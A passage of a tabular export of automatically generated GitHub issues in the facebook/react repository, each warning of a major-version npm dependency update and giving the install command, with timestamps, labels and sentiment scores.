",,2025-07-17 22:50:06+00:00,2025-07-19 02:18:08+00:00,1,nan,1.1445,update babel loader from to breaking change warning a major version update is available for babel loader current version latest version package information description babel module loader for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162822,Update @typescript-eslint/parser from ^7.4.0 to 8.37.0,"## Breaking Change Warning
        
A major version update is available for **@typescript-eslint/parser**.

### Current Version
- **^7.4.0**

### Latest Version
- **8.37.0**

### Package Information
- **Description:** An ESLint custom parser which leverages TypeScript ESTree
- **Homepage:** https://typescript-eslint.io/packages/parser

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @typescript-eslint/parser@8.37.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:04+00:00,2025-07-19 02:18:10+00:00,1,nan,1.1445,update typescript eslint parser from to breaking change warning a major version update is available for typescript eslint parser current version latest version package information description an eslint custom parser which leverages typescript estree homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162775,Update @typescript-eslint/eslint-plugin from ^7.4.0 to 8.37.0,"## Breaking Change Warning
        
A major version update is available for **@typescript-eslint/eslint-plugin**.

### Current Version
- **^7.4.0**

### Latest Version
- **8.37.0**

### Package Information
- **Description:** TypeScript plugin for ESLint
- **Homepage:** https://typescript-eslint.io/packages/eslint-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @typescript-eslint/eslint-plugin@8.37.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:03+00:00,2025-07-19 02:18:12+00:00,1,nan,1.1445,update typescript eslint eslint plugin from to breaking change warning a major version update is available for typescript eslint eslint plugin current version latest version package information description typescript plugin for eslint homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162713,Update @types/node from ^18.7.18 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^18.7.18**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:02+00:00,2025-07-19 02:18:14+00:00,1,nan,1.1446,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162682,Update @types/glob from ^8.1.0 to 9.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/glob**.

### Current Version
- **^8.1.0**

### Latest Version
- **9.0.0**

### Package Information
- **Description:** Stub TypeScript definitions entry for glob, which provides its own types definitions
- **⚠️ Deprecated:** This is a stub types definition. glob provides its own type definitions, so you do not need this installed.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/glob@9.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:01+00:00,2025-07-19 02:18:42+00:00,1,nan,1.1449,update types glob from to breaking change warning a major version update is available for types glob current version latest version package information description stub typescript definitions entry for glob which provides its own types definitions deprecated this is a stub types definition glob provides its own type definitions so you do not need this installed recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162609,Update yargs from ^17.7.1 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.1**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:59+00:00,2025-07-19 02:18:44+00:00,1,nan,1.145,update yargs from to breaking change warning a major version update is available for yargs current version latest version package information description yargs the modern pirate themed successor to optimist homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6908
facebook/react,3241162579,Update react-dom from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:58+00:00,2025-07-19 02:18:45+00:00,1,nan,1.145,update react dom from experimental beb fd to breaking change warning a major version update is available for react dom current version experimental beb fd latest version package information description react package for working with the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162557,Update react from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:57+00:00,2025-07-19 02:18:48+00:00,1,nan,1.145,update react from experimental beb fd to breaking change warning a major version update is available for react current version experimental beb fd latest version package information description react is a javascript library for building user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162540,Update jsdom from ^22.1.0 to 26.1.0,"## Breaking Change Warning
        
A major version update is available for **jsdom**.

### Current Version
- **^22.1.0**

### Latest Version
- **26.1.0**

### Package Information
- **Description:** A JavaScript implementation of many web standards
- **Homepage:** https://github.com/jsdom/jsdom#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jsdom@26.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:57+00:00,2025-07-19 02:18:49+00:00,1,nan,1.145,update jsdom from to breaking change warning a major version update is available for jsdom current version latest version package information description a javascript implementation of many web standards homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162512,Update glob from ^10.3.10 to 11.0.3,"## Breaking Change Warning
        
A major version update is available for **glob**.

### Current Version
- **^10.3.10**

### Latest Version
- **11.0.3**

### Package Information
- **Description:** the most correct and second fastest glob implementation in JavaScript
- **Homepage:** https://github.com/isaacs/node-glob#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install glob@11.0.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:56+00:00,2025-07-19 02:18:52+00:00,1,nan,1.1451,update glob from to breaking change warning a major version update is available for glob current version latest version package information description the most correct and second fastest glob implementation in javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162483,Update chalk from 4 to 5.4.1,"## Breaking Change Warning
        
A major version update is available for **chalk**.

### Current Version
- **4**

### Latest Version
- **5.4.1**

### Package Information
- **Description:** Terminal string styling done right
- **Homepage:** https://github.com/chalk/chalk#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install chalk@5.4.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:55+00:00,2025-07-19 02:18:53+00:00,1,nan,1.1451,update chalk from to breaking change warning a major version update is available for chalk current version latest version package information description terminal string styling done right homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162451,Update @testing-library/react from ^13.4.0 to 16.3.0,"## Breaking Change Warning
        
A major version update is available for **@testing-library/react**.

### Current Version
- **^13.4.0**

### Latest Version
- **16.3.0**

### Package Information
- **Description:** Simple and complete React DOM testing utilities that encourage good testing practices.
- **Homepage:** https://github.com/testing-library/react-testing-library#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/react@16.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:54+00:00,2025-07-19 02:18:55+00:00,1,nan,1.1452,update testing library react from to breaking change warning a major version update is available for testing library react current version latest version package information description simple and complete react dom testing utilities that encourage good testing practices homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.765
facebook/react,3241162369,Update jest from ^29.7.0 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.7.0**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:52+00:00,2025-07-19 02:18:57+00:00,1,nan,1.1452,update jest from to breaking change warning a major version update is available for jest current version latest version package information description delightful javascript testing homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6369
facebook/react,3241162348,Update @types/jest from ^29.5.14 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^29.5.14**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:51+00:00,2025-07-19 02:18:59+00:00,1,nan,1.1452,update types jest from to breaking change warning a major version update is available for types jest current version latest version package information description typescript definitions for jest homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162315,Update zod from ^3.23.8 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.23.8**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:51+00:00,2025-07-19 02:19:01+00:00,1,nan,1.1453,update zod from to breaking change warning a major version update is available for zod current version latest version package information description typescript first schema declaration and validation library with static type inference homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241162143,Update yargs from ^17.7.2 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.2**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:46+00:00,2025-07-19 02:19:02+00:00,1,nan,1.1453,update yargs from to breaking change warning a major version update is available for yargs current version latest version package information description yargs the modern pirate themed successor to optimist homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6908
facebook/react,3241162088,Update @types/node from ^20 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:45+00:00,2025-07-19 02:19:04+00:00,1,nan,1.1454,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161996,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:42+00:00,2025-07-19 02:19:06+00:00,1,nan,1.1454,update zod from to breaking change warning a major version update is available for zod current version latest version package information description typescript first schema declaration and validation library with static type inference homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161980,Update yargs from ^17.7.2 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.2**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:42+00:00,2025-07-19 02:19:08+00:00,1,nan,1.1454,update yargs from to breaking change warning a major version update is available for yargs current version latest version package information description yargs the modern pirate themed successor to optimist homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6908
facebook/react,3241161962,Update ora from 5.4.1 to 8.2.0,"## Breaking Change Warning
        
A major version update is available for **ora**.

### Current Version
- **5.4.1**

### Latest Version
- **8.2.0**

### Package Information
- **Description:** Elegant terminal spinner
- **Homepage:** https://github.com/sindresorhus/ora#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install ora@8.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:41+00:00,2025-07-19 02:19:09+00:00,1,nan,1.1455,update ora from to breaking change warning a major version update is available for ora current version latest version package information description elegant terminal spinner homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.5423
facebook/react,3241161941,Update chalk from 4 to 5.4.1,"## Breaking Change Warning
        
A major version update is available for **chalk**.

### Current Version
- **4**

### Latest Version
- **5.4.1**

### Package Information
- **Description:** Terminal string styling done right
- **Homepage:** https://github.com/chalk/chalk#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install chalk@5.4.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:40+00:00,2025-07-19 02:19:12+00:00,1,nan,1.1455,update chalk from to breaking change warning a major version update is available for chalk current version latest version package information description terminal string styling done right homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161897,Update ts-jest from ^28.0.7 to 29.4.0,"## Breaking Change Warning
        
A major version update is available for **ts-jest**.

### Current Version
- **^28.0.7**

### Latest Version
- **29.4.0**

### Package Information
- **Description:** A Jest transformer with source map support that lets you use Jest to test projects written in TypeScript
- **Homepage:** https://kulshekhar.github.io/ts-jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install ts-jest@29.4.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:39+00:00,2025-07-19 02:19:14+00:00,1,nan,1.1455,update ts jest from to breaking change warning a major version update is available for ts jest current version latest version package information description a jest transformer with source map support that lets you use jest to test projects written in typescript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.4767
facebook/react,3241161882,Update jest from ^28.1.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^28.1.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:39+00:00,2025-07-19 02:19:16+00:00,1,nan,1.1456,update jest from to breaking change warning a major version update is available for jest current version latest version package information description delightful javascript testing homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6369
facebook/react,3241161862,Update @types/node from ^20.2.5 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20.2.5**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:38+00:00,2025-07-19 02:19:18+00:00,1,nan,1.1456,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161818,Update @types/jest from ^28.1.6 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^28.1.6**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:37+00:00,2025-07-19 02:19:20+00:00,1,nan,1.1456,update types jest from to breaking change warning a major version update is available for types jest current version latest version package information description typescript definitions for jest homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161794,Update pretty-format from ^24 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^24**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:36+00:00,2025-07-19 02:19:21+00:00,1,nan,1.1457,update pretty format from to breaking change warning a major version update is available for pretty format current version latest version package information description stringify any javascript value recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.8481
facebook/react,3241161764,Update jest from ^29.5.0 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.5.0**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:36+00:00,2025-07-19 02:19:23+00:00,1,nan,1.1457,update jest from to breaking change warning a major version update is available for jest current version latest version package information description delightful javascript testing homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.6369
facebook/react,3241161742,Update eslint from 8.57.0 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **8.57.0**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:35+00:00,2025-07-19 02:19:25+00:00,1,nan,1.1457,update eslint from to breaking change warning a major version update is available for eslint current version latest version package information description an ast based pattern checker for javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161727,Update babel-jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:35+00:00,2025-07-19 02:19:27+00:00,1,nan,1.1457,update babel jest from to breaking change warning a major version update is available for babel jest current version latest version package information description jest plugin to use babel for transformation recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161707,Update @types/node from ^20.2.5 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20.2.5**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:34+00:00,2025-07-19 02:19:28+00:00,1,nan,1.1458,update types node from to breaking change warning a major version update is available for types node current version latest version package information description typescript definitions for node homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161684,Update @types/eslint from ^8.56.12 to 9.6.1,"## Breaking Change Warning
        
A major version update is available for **@types/eslint**.

### Current Version
- **^8.56.12**

### Latest Version
- **9.6.1**

### Package Information
- **Description:** TypeScript definitions for eslint
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/eslint

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/eslint@9.6.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:33+00:00,2025-07-19 02:19:30+00:00,1,nan,1.1458,update types eslint from to breaking change warning a major version update is available for types eslint current version latest version package information description typescript definitions for eslint homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161640,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:32+00:00,2025-07-19 02:19:32+00:00,1,nan,1.1458,update zod from to breaking change warning a major version update is available for zod current version latest version package information description typescript first schema declaration and validation library with static type inference homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241161584,Update zod-validation-error from ^2.1.0 to 3.5.3,"## Breaking Change Warning
        
A major version update is available for **zod-validation-error**.

### Current Version
- **^2.1.0**

### Latest Version
- **3.5.3**

### Package Information
- **Description:** Wrap zod validation errors in user-friendly readable messages
- **Homepage:** https://github.com/causaly/zod-validation-error#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod-validation-error@3.5.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:49:31+00:00,2025-07-19 02:19:34+00:00,1,nan,1.1459,update zod validation error from to breaking change warning a major version update is available for zod validation error current version latest version package information description wrap zod validation errors in user friendly readable messages homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,bug,-0.5859
facebook/react,3241161569,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
